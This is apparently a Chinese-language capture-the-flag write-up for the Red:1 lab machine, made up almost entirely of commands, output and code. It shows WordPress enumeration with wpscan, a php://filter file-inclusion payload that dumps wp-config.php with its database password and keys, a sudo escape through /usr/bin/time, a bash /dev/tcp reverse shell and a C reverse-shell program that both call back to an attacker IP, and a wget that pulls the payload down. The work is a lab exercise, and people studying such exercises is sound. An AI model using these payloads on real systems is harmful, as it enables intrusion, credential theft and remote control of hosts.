【渗透测试】Red:1靶场渗透测试

┌──(root㉿kali)-[~]└─# wpscan --url http://192.168.241.140 -e -uScan Aborted: invalid option: -uDid you mean?  ua┌──(root㉿kali)-[~]└─# wpscan --url http://192.168.241.140 -e u _______________________________________________________________         __          _______   _____                  / /  __  / ____|             /  / /| |__) | (___   ___  __ _ _ __ ®            /  / / |  ___/ ___  / __|/ _` | '_              /  /  | |     ____) | (__| (_| | | | |             /  /   |_|    |_____/ ___|__,_|_| |_|         WordPress Security Scanner by the WPScan Team                         Version 3.8.22       Sponsored by Automattic - https://automattic.com/       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart_______________________________________________________________[+] URL: http://192.168.241.140/ [192.168.241.140][+] Started: Sat Feb  8 10:14:52 2025Interesting Finding(s):[+] Headers | Interesting Entry: Server: Apache/2.4.41 (Ubuntu) | Found By: Headers (Passive Detection) | Confidence: 100%[+] robots.txt found: http://192.168.241.140/robots.txt | Interesting Entries: |  - /wp-admin/ |  - /wp-admin/admin-ajax.php | Found By: Robots Txt (Aggressive Detection) | Confidence: 100%[+] XML-RPC seems to be enabled: http://192.168.241.140/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: |  - http://codex.wordpress.org/XML-RPC_Pingback_API |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/[+] WordPress readme found: http://192.168.241.140/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100%[+] The external WP-Cron seems to be enabled: http://192.168.241.140/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: |  - https://www.iplocation.net/defend-wordpress-from-ddos |  - https://github.com/wpscanteam/wpscan/issues/1299[+] WordPress version 5.8.1 identified (Insecure, released on 2021-09-09). | Found By: Emoji Settings (Passive Detection) |  - http://192.168.241.140/, Match: 'wp-includes/js/wp-emoji-release.min.js?ver=5.8.1' | Confirmed By: Meta Generator (Passive Detection) |  - http://192.168.241.140/, Match: 'WordPress 5.8.1'[i] The main theme could not be detected.[+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:00 <===============================================================================================================> (10 / 10) 100.00% Time: 00:00:00[i] User(s) Identified:[+] administrator | Found By: Wp Json Api (Aggressive Detection) |  - http://192.168.241.140/wp-json/wp/v2/users/?per_page=100&page=1 | Confirmed By: |  Rss Generator (Aggressive Detection) |  Author Id Brute Forcing - Author Pattern (Aggressive Detection) |  Login Error Messages (Aggressive Detection)[!] No WPScan API Token given, as a result vulnerability data has not been output.[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register[+] Finished: Sat Feb  8 10:14:52 2025[+] Requests Done: 21[+] Cached Requests: 30[+] Data Sent: 5.56 KB[+] Data Received: 70.194 KB[+] Memory used: 182.145 MB[+] Elapsed time: 00:00:00

php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.phphttp://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php

php://filter/read=convert.base64-encode/resource=wp-config.phphttp://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php

<?php/** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the installation. * You don't have to use the web site, you can copy this file to "wp-config.php" * and fill in the values. * * This file contains the following configurations: * * * MySQL settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://wordpress.org/support/article/editing-wp-config-php/ * * @package WordPress */// ** MySQL settings - You can get this info from your web host ** //  /** The name of the database for WordPress */  define( 'DB_NAME', 'wordpress' );/** MySQL database username */define( 'DB_USER', 'john' );/** MySQL database password */define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );/** MySQL hostname */define( 'DB_HOST', 'localhost' );/** Database Charset to use in creating database tables. */define( 'DB_CHARSET', 'utf8' );/** The Database Collate type. Don't change this if in doubt. */define( 'DB_COLLATE', '' );define('FS_METHOD', 'direct');define('WP_SITEURL', 'http://redrocks.win');define('WP_HOME', 'http://redrocks.win');/**#@+ * Authentication unique keys and salts. * * Change these to different unique phrases! You can generate these using * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}. * * You can change these at any point in time to invalidate all existing cookies. * This will force all users to have to log in again. * * @since 2.6.0 */define('AUTH_KEY',         '2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');define('SECURE_AUTH_KEY',  'ah}<I`52GL6C^@~x C9FpMq-)txgOmA<~{R5ktY/@.]dBF?keB3}+Y^u!a54 Xc(');define('LOGGED_IN_KEY',    '[a!K}D<7-vB3Y&x_<3e]Wd+J]!o+A:U@QUZ-RU1]tO@/N}b}R@+/$+u*pJ|Z(xu-');define('NONCE_KEY',        ' g4|@~:h,K29D}$FL-f/eujw(VT;8wa7xRWpVR: >},]!Ez.48E:ok 8Ip~5_o+a');define('AUTH_SALT',        'a;,O<~vbpL+|@W+!Rs1o,T$r9(LwaXI =I7ZW$.Z[+BQ=B6QG7nr+w_bQ6B]5q4c');define('SECURE_AUTH_SALT', 'GkU:% Lo} 9}w38i:%]=uq&J6Z&RR#v2vsB5a_ +.[us;6mE+|$x*+ D*Ke+:Nt:');define('LOGGED_IN_SALT',   '#`F9&pm_jY}N3y0&8Z]EeL)z,$39,yFc$Nq`jGOMT_aM*`<$9A:9<Kk^L}fX@+iZ');define('NONCE_SALT',       'hTlFE*6zlZMbqluz)hf:-:x-:l89fC4otci;38|i`7eU1;+k[!0[ZG.oCt2@-y3X');/**#@-*//** * WordPress database table prefix. * * You can have multiple installations in one database if you give each * a unique prefix. Only numbers, letters, and underscores please! */$table_prefix = 'wp_';/** * For developers: WordPress debugging mode. * * Change this to true to enable the display of notices during development. * It is strongly recommended that plugin and theme developers use WP_DEBUG * in their development environments. * * For information on other constants that can be used for debugging, * visit the documentation. * * @link https://wordpress.org/support/article/debugging-in-wordpress/ */define( 'WP_DEBUG', false );/* Add any custom values between this line and the "stop editing" line. *//* That's all, stop editing! Happy publishing. *//** Absolute path to the WordPress directory. */if ( ! defined( 'ABSPATH' ) ) {define( 'ABSPATH', __DIR__ . '/' );}/** Sets up WordPress vars and included files. */require_once ABSPATH . 'wp-settings.php';

sudo -l发现/usr/bin/time只有ippsec用户，才可以执行

sudo -u ippsec /usr/bin/time /bin/bashsudo: 以超级用户或其他用户的身份执行命令。在这里，它要求你使用 ippsec 用户的权限执行后续的命令。-u ippsec: 指定要切换到的用户，这里是 ippsec 用户。/usr/bin/time: 在 /usr/bin/ 目录中找到 time 命令。/bin/bash: 启动一个新的 Bash shell。

bash -i >& /dev/tcp/192.168.241.138/66550>&1nc -lvvp 6655# 在反弹shell中执行python3 -c 'import pty;pty.spawn("/bin/bash")' #使用python生成一个完整的shellexport TERM=xterm #这里按下Ctrl+z返回一下，设置虚拟终端类型，有什么用暂不清楚stty raw -echo;fg #输入reset, 这里是设置当前shell透传指令到反弹shell里，Ctrl+C不会中断nc而是直接透传到新的shell里。

#include<stdio.h>#include<sys/socket.h>#include<sys/types.h>#include<stdlib.h>#include<unistd.h>#include<netinet/in.h>#include<arpa/inet.h>int main(void){    int port = 8764;    struct sockaddr_in revsockaddr;    int sockt = socket(AF_INET, SOCK_STREAM, 0);    revsockaddr.sin_family = AF_INET;           revsockaddr.sin_port = htons(port);    revsockaddr.sin_addr.s_addr = inet_addr("192.168.241.138");    connect(sockt, (struct sockaddr *) &revsockaddr,     sizeof(revsockaddr));    dup2(sockt, 0);    dup2(sockt, 1);    dup2(sockt, 2);    char * const argv[] = {"/bin/bash", NULL};    execve("/bin/bash", argv, NULL);    return 0;       }

python -m http.server1234wget http://192.168.241.138:1234/supersecretfileuc.c